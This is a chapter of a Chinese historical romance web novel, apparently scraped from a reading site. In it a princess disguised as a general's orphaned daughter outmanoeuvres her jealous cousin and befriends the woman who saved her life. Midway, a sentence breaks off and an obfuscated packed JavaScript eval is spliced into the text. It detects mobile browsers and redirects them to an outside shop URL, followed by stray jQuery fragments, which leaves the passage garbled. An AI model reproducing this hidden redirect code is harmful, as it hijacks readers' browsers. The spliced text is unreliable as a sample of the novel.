南玉蕊见秋云渐的思绪飘远，轻唤了她一声：“表妹？”
秋云渐这才回神，先为自己盛了盏茶，一口气喝下。
南玉蕊以为她在给自己压惊，“表妹怎么一听说要在众人面前露脸就这般反应？”吊起眼角问，“难道是害怕了不成？”
依南玉蕊现在的心思，怕是见不得秋云渐比她好，若是秋云渐处处风光，她定恨得牙痒痒，背地里挖千八百个陷阱，等着秋云渐往里跳。
越如此，就越不能让她得逞。
秋云渐偏做出一副胆小懦弱的样子来，“不瞒表姐说，的确害怕。因与太子的婚事，京城里怕是有一万双眼睛正盯着我呢。若不露面，会被人家指指点点，说我任性小家子气。露面呢，言行举止还会被人百般挑剔。可若棠刚失了双亲，心中的孤苦又有谁知......”边说边又挤出几滴泪来，“若棠只想安安静静给阿爹阿娘守孝，不想在众人面前花枝招展。”
南玉蕊一时不知该如何应对这场面，劝道：“你是宁家独女，主角自然该你来唱，怎可连面都不露。”
“姨娘为我家之事如此费心操持，我心中感激不尽。可我住在府里白吃白喝，本就过意不去，怎还好意思舔着脸事事唱主角！”秋云渐越哭越凶，“宾客能来赴宴，说白了总是看在南家面子上的，所以还要靠姨娘和表姐为南家撑门面呐！”
秋云渐的反应正中南玉蕊下怀，这会子正在心里嘲笑：说什么宁家姑娘佼佼不群，没想到爹娘一死，人也跟着垮了，如此不成事，若当上储妃，岂不让人笑掉大牙？！她不出风头正好，到时候就让全京城的贵胄好好瞧瞧南家玉蕊姑娘的才貌！
又眨了眨深瞳，作样安慰：“反正你不露面肯定不行。但若实在不愿扎在人堆里和宾客周旋呐......也不打紧。你的意思，我会同父亲母亲说的，他们那么看重你，会遂你意的。”
秋云渐擦干眼泪，面色欣然：“那就多谢表姐了！”
南玉蕊委实不愿看她哭哭啼啼，嘱咐了几句好好养身子之类的官样话就走了。
待人一走，秋云渐就把苏嬷嬷唤来，问南玉蕊可有许配人家。苏嬷嬷道：“听说上门问亲的不少，但魏姨娘好像都不怎么满意，这一向登门的也少了。”
又问起她是否与太子相识，苏嬷嬷笃定摇头说不清楚。
秋云渐自笑了几声，“您说是不是满京城的贵女都想当太子妃？”
苏嬷嬷也笑了，“想当太子妃的肯定有，但不想当的也大有人在。”
“那......宁若棠想嫁给太子么？”
秋云渐猝不及防一句问，却让苏嬷嬷沉默了良久，最终叹了口气：“老奴竟从来没问过姑娘想嫁一个什么样的郎君。可惜姑娘已经不在了，但愿她能投胎到一个普通人家，不求有多富贵，也不需嫁得高门，平安喜乐过寻常日子就好。”
这“富贵尊荣”落在不同人眼里果真不一样。只是有的人还不知，穷尽一生所求也许临到手会飞，也许根本求不得，再或许求得了，也觉得无趣了。
这世间究竟有什么是真正属于自己的呢？
秋云渐也说不清楚。
大概能紧紧抓住眼前的片刻美好，就已觉得庆幸了。
*
答谢家宴是魏姨娘一手操办，宾客名单，她也问过秋云渐的意见，秋云渐只添了东怀伯一家，特写明请长女顾昭月过府赴宴。
镇国公府与东怀伯府本没什么交情，但因顾昭月相救之举，今不得不请，还需将顾家人奉为上宾。
顾淮之对此次赴宴十分重视，家宴当日带着内眷早早来了镇国公府。秋云渐不愿同那些贵女寒暄客套，听闻顾昭月前来，才欢喜出去迎客，干脆把人拉进内院相聊起来。
可今日顾昭月却略显拘谨，秋云渐说什么，她只大致附和，不似那日在她自己府里一般果敢利落。
“姑娘这是怎么了？该不会顾夫人又罚你了吧？”秋云渐怕她受了委屈，憋在心里不吐，弄得自己拧巴。
顾昭月摇头说没有，“就是觉得嫡母的话不无道理。宁姑娘身份贵重，我是不该仓促诊断，现在想想确实后怕。”
有这般想法也属正常，秋云渐能理解，但事情已得圆满了结，她却开始有意保持距离，令人不解：“那是你救人心切，若因我身份的缘故，你畏首畏尾，高高挂起，我早就一命呜呼了。你想啊，我要真死在伯府，你们全家难道就能逃脱罪责了？”
一席话让顾昭月眉头舒展了不少，“照这么说来，不仅是姑娘你命大，而且是我及时出手让伯府躲过一劫。”
秋云渐直说是啊，“你嫡母要再因此事责怪你，就把刚才这番话说给她听。”
顾昭月虽心里舒坦了许多，但仍未完全想开，“可我是个庶出，若总是顶撞嫡母，今后这日子可就没法过了。姑娘是家中独女，不懂我们这些儿女众多的人家，嫡庶尊卑有别，僭越了是要付出代价的。再说，我只是个伯爵府的小庶女，无缘无故与姑娘亲近，人家会说我刻意攀附权贵，罔顾父亲朝中清名。”
那日从顾府回来的路上，南玄澈同秋云渐讲过，顾家家风谨肃，东怀伯的爵位也非徒有虚名。顾老太爷曾当过益州刺史，后官至侍中，也算嘉佑帝身边德高望重的老臣了。可惜子嗣不茂，归西后只留下两个儿子，长子顾淮之如今任门下左散骑常侍，次子在舒州任长史，但二人的官声口碑却是极好，在朝中实属一派清流。
清流人家最在意立场名声，怕与所谓的“权贵”势力扯上关系，也难怪顾昭月有此担忧。
秋云渐自然理解她，“可这嘴终究长在别人身上，人家想说什么，咱也管不了。但咱们是为自己而活，不能活在旁人的口舌里。”转头认真看着她问，“我发病那日，你救我的样子，想必才是姑娘的真性情吧？活脱脱就是个侠女，一点都不似闺阁里的娇弱女子，我还以为自己遇上了什么江湖神医呢！”
顾昭月被逗得咯咯笑，渐渐露出开朗的一面，不自觉搂上秋云渐的手臂，“侠女可还行，不是个火急火燎的愣头青就好！诶，我是嘉佑三年八月生的，姑娘呢？”
秋云渐脑中迅速翻出宁若棠的生辰，“嘉佑五年十二月，岁末及笄。”
顾昭月叹道：“我比妹妹还虚长两岁，却不如妹妹看得通透。”
“姐姐万不可这么想，人各有难处，自己的苦旁人怎可完全体会。”秋云渐劝她，“所以要对自己好一点，日子再苦也得学会苦中作乐。”
顾昭月听父亲提起过，宁正夫妇面对蛮夷侵犯英勇无畏，带领陇右将士守护城
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274915|198193||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
池誓死不屈的壮烈，也深晓宁若棠小小年纪就骤失父母该有多痛。却没想到她未在悲苦中一蹶不振，反而独自上京，将父亲神位送入太庙，成为名扬天下的护国忠勋。这样一来，陛下感念宁正忠烈，定厚待其女，本就允准将来嫁入宗室，于此时又足显皇恩，宁若棠储妃的身份因此更为稳固。
这就是大家贵女的眼界和风范么？当她躲在闺中，还在因嫡母斥责而唯唯诺诺时，宁若棠就已开始为自己的一辈子仔细筹谋了。
顾昭月扪心自问，宁若棠这个朋友她愿意交，绝不是因为她的显赫身份，而是为了一点难得的一见如故。她从未料到那日原想趁拊庙的队伍散去，好去西市尝酥茶，谁知一出府门，宁若棠就倒在了她面前。
无论交友、姻缘，她都相信遇见就是命里注定，只是有良缘和孽缘之分罢了。
望着池中欢脱的鱼儿，顾昭月笑得爽朗：“妹妹说的对，活在旁人眼光里都是虚晃，好好为自己而活才是真。”
两人在池边说笑了好一阵，秋云渐分了些鱼食给顾昭月，悄悄问她：“姐姐这年纪也该议亲了吧，可有心仪的郎君？”
顾昭月略迟疑了一瞥，不在乎地“嗨”了声：“先前说了几家，我都不喜欢。谁让自己没投胎在正室嫡妻的肚子里呢，高不成，低不就。我这性子什么样自己清楚得很，天生倔，不愿凑合，怕是这辈子都嫁不出去了。”
“可不敢胡说。”秋云渐摇着她手臂制止，“好姻缘不能只看门第的，没准儿哪日有个一等一的好郎君冒出来就要娶姐姐呢。”
可说完这话，她自己都后悔。
面上这般盼人家嫁个好郎君，实则自己心里却是不愿嫁人的。若能遇到个两情相悦一心一意的也罢，若没有，还不如自己独身一人来得自在。
“表姑娘，前院开席了，姨娘请您和顾姑娘入席呢！”
听得人来唤，两人便匆匆往席间去。
途中，苏嬷嬷把秋云渐拉住，满脸担心：“顾家姑娘的底细还未摸清，奴觉得您还是与她保持距离为好。”
她这么说，是怕秋云渐与顾昭月走得近了，越发了解了，身份更容易被怀疑。
秋云渐让她放心：“我有分寸，不会乱来。顾昭月毕竟是我的救命恩人，不能怠慢人家。交了朋友，以后总有用得着的地方，关键时候说不定还能帮上什么忙。”
苏嬷嬷犹豫地点点头，再一想，一位尊贵的北狄公主被硬生生变成另一个人，整日过得提心吊胆，还步步受限，实在让人心怜。想想，若自家姑娘还活着，她在京中也定如寻常贵女般，读书赏花，赴宴雅集，交三两好友，谈天下趣闻。自家姑娘能享受的，此时也不该剥夺秋云渐拥有的权利。
如此思来，心觉自己干涉得也太多，便没再多言了。
秋云渐正要入前院的洞门，就听得门上小厮响亮的报客声：“北狄司空大人到！”
她脚下一顿，不相信似的往外瞧，一队北狄官员正阔步走近，阳光下，连珠纹衣袍和编辫上的彩线令人眼花缭乱。最前方拄杖一瘸一拐向前走的，正是曾被她那匹受惊马踢残疾的大司空贺兰柏。
她讶然失色，双脚不由退了几步，整个人藏在了洞门之后。
树荫遮住了她明艳的脸，暗了一大片。